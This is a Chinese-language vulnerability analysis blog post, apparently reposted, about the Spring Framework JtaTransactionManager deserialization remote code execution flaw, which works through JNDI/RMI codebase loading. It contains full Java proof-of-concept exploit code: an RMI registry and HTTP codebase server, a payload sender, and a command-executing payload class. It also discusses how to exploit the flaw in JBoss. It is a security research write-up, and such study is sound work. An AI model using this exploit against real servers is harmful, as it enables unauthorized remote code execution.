Spring framework deserialization RCE漏洞分析以及利用

jopen 8年前發布 | 39K 次閱讀 Spring Java RMI

11月初爆發的JAVA反序列漏洞已經過去幾個月了,各大安全研究人員對該漏洞的利用技巧也是五花八門,JAVA反序列化漏洞的爆發引起了很多漏洞研究者的注意,國外安全研究人員( zerothoughts )最近在Spring框架中同樣也發現關于序列化的一些問題,本文主要是討論在Spring框架中序列化漏洞成因以及一些利用方式。

漏洞原理分析

上一次的漏洞成因是Apache CommonsCollection組建中對集合的操作存在可以進行反射調用的方法,但是這次Spring框架的RCE基本上和CommonsCollection組建沒有什么關系,在分析漏洞之前我們先來回顧下序列化的相關知識,只有明白了序列化是怎么回事,在理解序列化漏洞時就非常簡單了。

關于序列化其實我們只需要知道兩點即可,如下

  • 在對對象進行序列化時會調用 Java.io.ObjectOutputStream 對象的 writeObject(Object obj) 方法。
  • 在對象進行反序列化時會調用 Java.io.ObjectInputStream 對象的 readObject() 方法。

明白上面兩點之后,我們再來了解下JAVA體系中的RMI以及JNDI,具體如下

  • RMI(Remote Method Invocation) 即Java遠程方法調用,一種用于實現遠程過程調用的應用程序編程接口,常見的兩種接口實現為JRMP(Java Remote Message Protocol,Java遠程消息交換協議)以及CORBA。

  • JNDI (Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口。JNDI支持的服務主要有以下幾種:DNS、LDAP、 CORBA對象服務、RMI等。

那么RMI和JNDI有什么關系呢?簡單說就是RMI注冊的服務可以讓JNDI應用程序來訪問,關于兩者的具體關系以及在應用中的使用請參考 官方文檔 這里不贅述。

在討論Spring框架序列化漏洞之前,我們先來看看關于JNDI的RCE,如上文所述,JNDI支持很多服務類型,當服務類型為RMI協議時,如果從RMI注冊服務中lookup的對象類型為 Reference 類型或者其子類時,會導致遠程代碼執行,Reference類提供了兩個比較重要的屬性,className以及codebase url,classname為遠程調用引用的類名,那么codebase url決定了在進行rmi遠程調用時對象的位置,此外codebase url支持http協議,當遠程調用類(通過lookup來尋找)在RMI服務器中的CLASSPATH中不存在時,就會從指定的codebase url來進行類的加載,如果兩者都沒有,遠程調用就會失敗。

JNDI RCE漏洞產生的原因就在于當我們在注冊RMI服務時,可以指定codebase url,也就是遠程要加載類的位置,設置該屬性可以讓JDNI應用程序在加載時加載我們指定的類( 例如: http://www.iswin.org/xx.class ) ,這里還有一個比較重要的點,也是觸發惡意代碼的點,當JNDI應用程序通過lookup(rmi服務的地址)調用指定codebase url上的類后,會調用被遠程調用類的構造方法,所以如果我們將惡意代碼放在被遠程調用類的構造方法中時,漏洞就會觸發。

如果明白上面所述的一些問題,那么接下來理解Spring框架的RCE時就非常簡單了,因為Spring框架的遠程代碼執行的根本就是JNDI的遠程代碼執行,只不過需要結合序列化來觸發。

Spring 框架中的遠程代碼執行的缺陷在于spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager類,該類實現了Java Transaction API,主要功能是處理分布式的事務管理,我們先來看看該類的方法以及成員變量。

Spring framework deserialization RCE漏洞分析以及利用 Spring framework deserialization RCE漏洞分析以及利用

通過eclipse我們可以明顯的看到該類實現了readObject(ObjectOutputStream)方法,為什么漏洞叫Spring框架的序列化漏洞,原因就在這里,關于反序列的只是上面已經介紹過了,我們都知道當一個類被反序列化時會調用該類的readObject方法,跟進readObject方法

Spring framework deserialization RCE漏洞分析以及利用

方法 initUserTransactionAndTransactionManager(); 是用來初始化UserTransaction以及TransactionManager,跟進該方法

Spring framework deserialization RCE漏洞分析以及利用

這里我們可以看到該方法中調用了lookupUserTransaction方法,該方法的功能為

Look up the JTA UserTransaction in JNDI via the configured name.

通過配置好的transaction名稱用JNDI的方式進行查找,到這里漏洞的成因就比較清晰了,這里的userTransactionName變量我們可以控制,通過setter方法可以初始化該變量,這里userTransactionName可以是rmi的調用地址(例如,userTransactionName=”rmi://127.0.0.1:1999/Object”),只要控制userTransactionName變量,就可以觸發JNDI的RCE,繼續跟進lookupUserTransaction方法

Spring framework deserialization RCE漏洞分析以及利用

最終會調用JndiTemplate的lookup方法,如下

Spring framework deserialization RCE漏洞分析以及利用

從而觸發JNDI的RCE導致Spring framework序列化的漏洞產生。

漏洞利用

漏洞作者 zerothoughts 在github上面已經放出了漏洞利用的POC,詳情見 https://github.com/zerothoughts/spring-jndi

首先看看對于該漏洞,我們可以控制的地方,如下

  1. userTransactionName,可以指定為攻擊者自己注冊的RMI服務。
  2. codebase url,遠程調用類的路徑(攻擊者可控)
  3. JtaTransactionManager類中的readObject方法在反序列化事觸發了JNDI的RCE。

結合上面3個條件,就可以成功觸發Spring framework 序列化的漏洞。

我修改了下作者給出的POC,看起來更加清晰點,POC分為兩部分,客戶端和服務端,服務端只是模擬了反序列的功能。

客戶端如下如下:

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import org.springframework.transaction.jta.JtaTransactionManager;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import com.sun.net.httpserver.HttpServer;
/***
 * 
 * @author admin@iswin.org
 * @time 2016.1.24
 */
@SuppressWarnings("restriction")
public class SpringPOC {
    /***
     * 啟動http服務器,提供下載遠程要調用的類
     * 
     * @throws IOException
     */
    public static void lanuchCodebaseURLServer() throws IOException {
        System.out.println("Starting HTTP server");
        HttpServer httpServer = HttpServer.create(new InetSocketAddress(8000), );
        httpServer.createContext("/", new HttpFileHandler());
        httpServer.setExecutor(null);
        httpServer.start();
    }

    /***
     * 啟動RMI服務
     * 
     * @throws Exception
     */
    public static void lanuchRMIregister() throws Exception {
        System.out.println("Creating RMI Registry");
        Registry registry = LocateRegistry.createRegistry(1999);
        // 設置code url 這里即為http://http://127.0.0.1:8000/
        // 最終下載惡意類的地址為http://127.0.0.1:8000/ExportObject.class
        Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");
        // Reference包裝類
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("Object", referenceWrapper);
    }

    /***
     * 發送payload
     * 
     * @throws Exception
     */
    public static void sendPayload() throws Exception {
        // jndi的調用地址
        String jndiAddress = "rmi://127.0.0.1:1999/Object";
        // 實例化JtaTransactionManager對象,并且初始化UserTransactionName成員變量
        JtaTransactionManager object = new JtaTransactionManager();
        object.setUserTransactionName(jndiAddress);
        // 發送構造好的payload
        Socket socket = new Socket("127.0.0.1", 9999);
        System.out.println("Sending object to server...");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
        objectOutputStream.writeObject(object);
        objectOutputStream.flush();
        socket.close();
    }

    public static void main(String[] args) throws Exception {
        lanuchCodebaseURLServer();
        lanuchRMIregister();
        sendPayload();
    }

}

</div>

服務端如下

 import java.io.*;
import java.net.*;
public class ExploitableServer {
    public static void main(String[] args) {
        try {
            ServerSocket serverSocket = new ServerSocket(Integer.parseInt(args[]));
            System.out.println("Server started on port "+serverSocket.getLocalPort());
            while(true) {
                Socket socket=serverSocket.accept();
                System.out.println("Connection received from "+socket.getInetAddress());                
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object "+object);                                  
                } catch(Exception e) {
                    System.out.println("Exception caught while reading object");                                    
                    e.printStackTrace();
                }               
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
    }
}

</div>

發送的PayLoad為

 import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ExportObject {
    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    }

    public ExportObject() throws Exception {
        String cmd="/sbin/ifconfig";
        throw new Exception(exec(cmd));
    }

}

</div>

執行成功后的效果為

Spring framework deserialization RCE漏洞分析以及利用

上面是作者給出的POC,已經能證明在Spring框架中的確存在缺陷的類。不過這只是模擬了漏洞的觸發過程,那么在實際利用過程中又會是怎么樣的,下面將具體進行分析。

這里重點還是說下該漏洞在中間件中的利用,依然以JBOSS為例子(電腦上只有它),其它中間件類比下就知道了。上面對漏洞的產生的原因以及觸發條件作了詳細的說明,很多人問,這個不是Spring framework的漏洞么,是不是只要使用了Spring框架進行開發就可能會受影響,非常遺憾的告訴大家那是不可以的。

要想成功利用該漏洞,必須滿足下列條件

  1. 存在接口可以進行對象反序列化
  2. 訪問對象可以出網,因為要進行遠程類下載(內網中另作討論)
  3. 目標對象中的CLASSPATH中存在Spring-tx-xx.jar有缺陷類的jar包

當上述3個條件同時滿足時,才能觸發該漏洞,這里主要討論在中間件中的利用,所以條件1很好滿足(例如JBOSS、Weblogic、Jenkins、Websphere等),條件2也可以滿足,但是條件3卻比較苛刻,由于Spring-tx-xx.jar文件不是中間件的默認組件,所以,該漏洞就比較雞肋,對于中間件來說,每個應用的lib庫文件的類加載器是不一樣的,換句話說,就是在同一中間件中,A應用的lib庫文件B應用是無法使用的,所以即使目標應用存在該缺陷,那么中間件的漏洞觸發點是無法找到缺陷應用lib文件中的class文件的,所以無法做到通用的利用,說白了就是lib庫共享的問題,那么在實際工程中可能會存在將缺陷jar文件放在中間件的類加載器中的情況,比如說所有的項目都會用到spring的jar,開發人員索性就把jar文件給共享了,這樣所有的應用都可以訪問到該jar文件,這種情況下漏洞是可以完全觸發的。

這里我以JBOSS中間件為例子,進行說明,在jboss中jboss-5.0.1.GA\lib*.jar 所有的jar,所有的應用都是可以訪問的,將有缺陷的類放在這個目錄下就會觸發漏洞,因為Jboss序列化觸發的點在 /invoker/JMXInvokerServlet 上,所以我將受缺陷的文件放在了該應用的lib目錄下,如下圖所示

Spring framework deserialization RCE漏洞分析以及利用

修改POC后,成功利用該漏洞

Spring framework deserialization RCE漏洞分析以及利用

總之,如果要成功利用,得看人品。其它中間我想應該也是一樣的,如果有什么問題,歡迎指正。

漏洞修復

通過Spring官方給作者的郵件中,可以看出官方將這個鍋丟給了中間件反序列的接口的防范上或者可以進行反序列的方法上。這里如果有覺得要修復漏洞的小伙伴,可以重寫JtaTransactionManager類中的readObject方法禁用相關功能就行了。

參考資料

[1] : http://zerothoughts.tumblr.com/post/137769010389/fun-with-jndi-remote-code-injection

[2] : http://zerothoughts.tumblr.com/post/137831000514/spring-framework-deserialization-rce

[3] : https://github.com/zerothoughts/spring-jndi

</div> </div>

來自: http://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-分析以及利用/

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!